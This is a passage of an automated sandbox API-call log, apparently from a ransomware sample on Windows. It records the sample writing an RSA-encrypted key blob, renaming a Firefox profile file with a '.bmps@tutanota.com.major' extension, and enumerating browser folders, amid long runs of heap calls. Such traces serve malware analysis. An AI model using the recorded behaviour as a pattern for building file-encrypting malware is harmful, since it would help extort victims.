pszString="sUU5bkZT/dVIUhQeUjvpwoe3QmlbbH5iiYSDYGt8Tgzo0/i5q3xPUJREMCHyso67\nBok7Te/NE7oddbcSqdy5UugKSZ0rszmVg0cPY53JiPLsQnlCG0c/tc/57+vV/VRL\nQJSAWryBVeQBziFJOuI8eCAoW++r0chQhEQYtzlYxIaskoUGvCGrjjsXPW9h1FsO\n3STOQRCbAcy5JfdXJoVkHjATlSpksRtAkltqXtcw1DBhVDepziEUq9VKweQiA5/M\nT0Q338BEjFtGU3pmz85aj6nkFVTbqbZlqhjUhiYPjNk13+ytJNgMF22WpyjQhxMG\naBJvqlQ7nMpiYIQTlWw1tQ==\n", pcchString=0x2e3f9a8) returned 1 [0241.107] WriteFile (in: hFile=0x1a50, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0241.107] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0241.107] WriteFile (in: hFile=0x1a50, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0241.107] CloseHandle (hObject=0x1a50) returned 1 [0241.107] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0241.107] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\index.sqlite"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\OfflineCache\\index.sqlite.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\offlinecache\\index.sqlite.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0241.213] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60de60 | out: hHeap=0x570000) returned 1 [0241.213] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6780 | out: hHeap=0x570000) returned 1 [0241.213] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664850 | out: hHeap=0x570000) returned 1 [0241.213] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664d00 | out: hHeap=0x570000) returned 1 [0241.213] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x6676e0 [0241.213] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x667628 | out: hHeap=0x570000) returned 1 [0241.213] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x666c18 | out: hHeap=0x570000) returned 1 [0241.213] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656c40 | out: hHeap=0x570000) returned 1 [0241.213] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3b593753, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f34c20 [0241.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665728 | out: hHeap=0x570000) returned 1 [0241.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0241.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af08 [0241.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0241.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0241.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0241.261] GetLastError () returned 0x0 [0241.261] SetLastError (dwErrCode=0x0) [0241.261] GetLastError () returned 0x0 [0241.261] SetLastError (dwErrCode=0x0) [0241.261] GetLastError () returned 0x0 [0241.261] SetLastError (dwErrCode=0x0) [0241.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0241.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be580 [0241.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0241.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6898 [0241.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34e60 [0241.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34e60 | out: hHeap=0x570000) returned 1 [0241.261] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40468 [0241.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40468 | out: hHeap=0x570000) returned 1 [0241.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6898 | out: hHeap=0x570000) returned 1 [0241.261] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0241.261] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3d1ad183, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3b593753, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0241.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0241.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0241.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0241.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0241.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664f58 [0241.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0241.263] GetLastError () returned 0x0 [0241.263] SetLastError (dwErrCode=0x0) [0241.263] GetLastError () returned 0x0 [0241.263] SetLastError (dwErrCode=0x0) [0241.263] GetLastError () returned 0x0 [0241.263] SetLastError (dwErrCode=0x0) [0241.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0241.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0241.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0241.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6938 [0241.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f34e60 [0241.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f34e60 | out: hHeap=0x570000) returned 1 [0241.263] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40450 [0241.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40450 | out: hHeap=0x570000) returned 1 [0241.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6938 | out: hHeap=0x570000) returned 1 [0241.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0241.263] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5d35a42, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="allow-flashallow-digest256.pset", cAlternateFileName="ALLOW-~1.PSE")) returned 1 [0241.263] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664f58 | out: hHeap=0x570000) returned 1 [0241.264] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.264] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0241.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.264] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665278 [0241.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0241.264] GetLastError () returned 0x0 [0241.264] SetLastError (dwErrCode=0x0) [0241.264] GetLastError () returned 0x0 [0241.264] SetLastError (dwErrCode=0x0) [0241.264] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0241.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665278 | out: hHeap=0x570000) returned 1 [0241.264] GetLastError () returned 0x0 [0241.264] SetLastError (dwErrCode=0x0) [0241.264] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.264] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659f88 [0241.264] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5b9ca22, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="allow-flashallow-digest256.sbstore", cAlternateFileName="ALLOW-~1.SBS")) returned 1 [0241.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 1 [0241.264] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.264] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0241.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.264] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664468 [0241.264] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0241.264] GetLastError () returned 0x0 [0241.264] SetLastError (dwErrCode=0x0) [0241.264] GetLastError () returned 0x0 [0241.265] SetLastError (dwErrCode=0x0) [0241.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0241.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664468 | out: hHeap=0x570000) returned 1 [0241.265] GetLastError () returned 0x0 [0241.265] SetLastError (dwErrCode=0x0) [0241.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be580 [0241.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6938 [0241.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0241.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6938 | out: hHeap=0x570000) returned 1 [0241.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6595d8 [0241.265] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6aef8a9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="base-track-digest256.pset", cAlternateFileName="BASE-T~1.PSE")) returned 1 [0241.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0241.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b678 [0241.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665598 [0241.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0241.265] GetLastError () returned 0x0 [0241.265] SetLastError (dwErrCode=0x0) [0241.265] GetLastError () returned 0x0 [0241.265] SetLastError (dwErrCode=0x0) [0241.265] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e300 [0241.265] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665598 | out: hHeap=0x570000) returned 1 [0241.265] GetLastError () returned 0x0 [0241.265] SetLastError (dwErrCode=0x0) [0241.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0241.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0241.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662500 [0241.266] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x69f53fc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xf238, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="base-track-digest256.sbstore", cAlternateFileName="BASE-T~1.SBS")) returned 1 [0241.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e300 | out: hHeap=0x570000) returned 1 [0241.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0241.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0241.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0241.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0241.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0241.266] GetLastError () returned 0x0 [0241.266] SetLastError (dwErrCode=0x0) [0241.266] GetLastError () returned 0x0 [0241.266] SetLastError (dwErrCode=0x0) [0241.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0241.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0241.266] GetLastError () returned 0x0 [0241.266] SetLastError (dwErrCode=0x0) [0241.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0241.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6618 [0241.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0241.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6618 | out: hHeap=0x570000) returned 1 [0241.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662fe0 [0241.266] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6de2467, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="block-flash-digest256.pset", cAlternateFileName="BLOCK-~1.PSE")) returned 1 [0241.266] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d9c0 | out: hHeap=0x570000) returned 1 [0241.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0241.266] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0241.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0241.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665980 [0241.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0241.267] GetLastError () returned 0x0 [0241.267] SetLastError (dwErrCode=0x0) [0241.267] GetLastError () returned 0x0 [0241.267] SetLastError (dwErrCode=0x0) [0241.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dd38 [0241.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665980 | out: hHeap=0x570000) returned 1 [0241.267] GetLastError () returned 0x0 [0241.267] SetLastError (dwErrCode=0x0) [0241.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0241.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0241.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x662ef8 [0241.267] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6d13474, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1de0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="block-flash-digest256.sbstore", cAlternateFileName="BLOCK-~1.SBS")) returned 1 [0241.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dd38 | out: hHeap=0x570000) returned 1 [0241.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b5f0 [0241.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0241.267] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b5f0 | out: hHeap=0x570000) returned 1 [0241.267] GetLastError () returned 0x0 [0241.267] SetLastError (dwErrCode=0x0) [0241.267] GetLastError () returned 0x0 [0241.267] SetLastError (dwErrCode=0x0) [0241.267] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0241.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0241.268] GetLastError () returned 0x0 [0241.268] SetLastError (dwErrCode=0x0) [0241.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0241.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6a28 [0241.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0241.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6a28 | out: hHeap=0x570000) returned 1 [0241.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6599b8 [0241.268] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5a8f2d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5a8f2d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x6926e3b, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="block-flashsubdoc-digest256.pset", cAlternateFileName="BLOCK-~2.PSE")) returned 1 [0241.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dc10 | out: hHeap=0x570000) returned 1 [0241.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0241.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af08 [0241.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0241.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0241.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0241.268] GetLastError () returned 0x0 [0241.268] SetLastError (dwErrCode=0x0) [0241.268] GetLastError () returned 0x0 [0241.268] SetLastError (dwErrCode=0x0) [0241.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0241.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0241.268] GetLastError () returned 0x0 [0241.268] SetLastError (dwErrCode=0x0) [0241.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be688 [0241.268] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be688 | out: hHeap=0x570000) returned 1 [0241.268] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x6598c0 [0241.269] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x67d720d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1435c, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="block-flashsubdoc-digest256.sbstore", cAlternateFileName="BLOCK-~2.SBS")) returned 1 [0241.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60dae8 | out: hHeap=0x570000) returned 1 [0241.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b4e0 [0241.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0241.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0241.269] GetLastError () returned 0x0 [0241.269] SetLastError (dwErrCode=0x0) [0241.269] GetLastError () returned 0x0 [0241.269] SetLastError (dwErrCode=0x0) [0241.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60e0b0 [0241.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0241.269] GetLastError () returned 0x0 [0241.269] SetLastError (dwErrCode=0x0) [0241.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be580 [0241.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee66e0 [0241.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0241.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee66e0 | out: hHeap=0x570000) returned 1 [0241.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659ab0 [0241.269] FindNextFileW (in: hFindFile=0x2f34c20, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c5cf169, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3c5cf169, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x5e77f5d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="except-flash-digest256.pset", cAlternateFileName="EXCEPT~1.PSE")) returned 1 [0241.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e0b0 | out: hHeap=0x570000) returned 1 [0241.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0241.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0241.269] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6651b0 [0241.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0241.270] GetLastError () returned 0x0 [0241.270] SetLastError (dwErrCode=0x0) [0241.270] GetLastError () returned 0x0 [0241.270] SetLastError (dwErrCode=0x0) [0241.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0241.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6651b0 | out: hHeap=0x570000) returned 1 [0241.270] GetLastError () returned 0x0 [0241.270] SetLastError (dwErrCode=0x0) [0241.270] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0241.270] HeapFree (in: hHeap=0x570000, dwFlags=0x0, 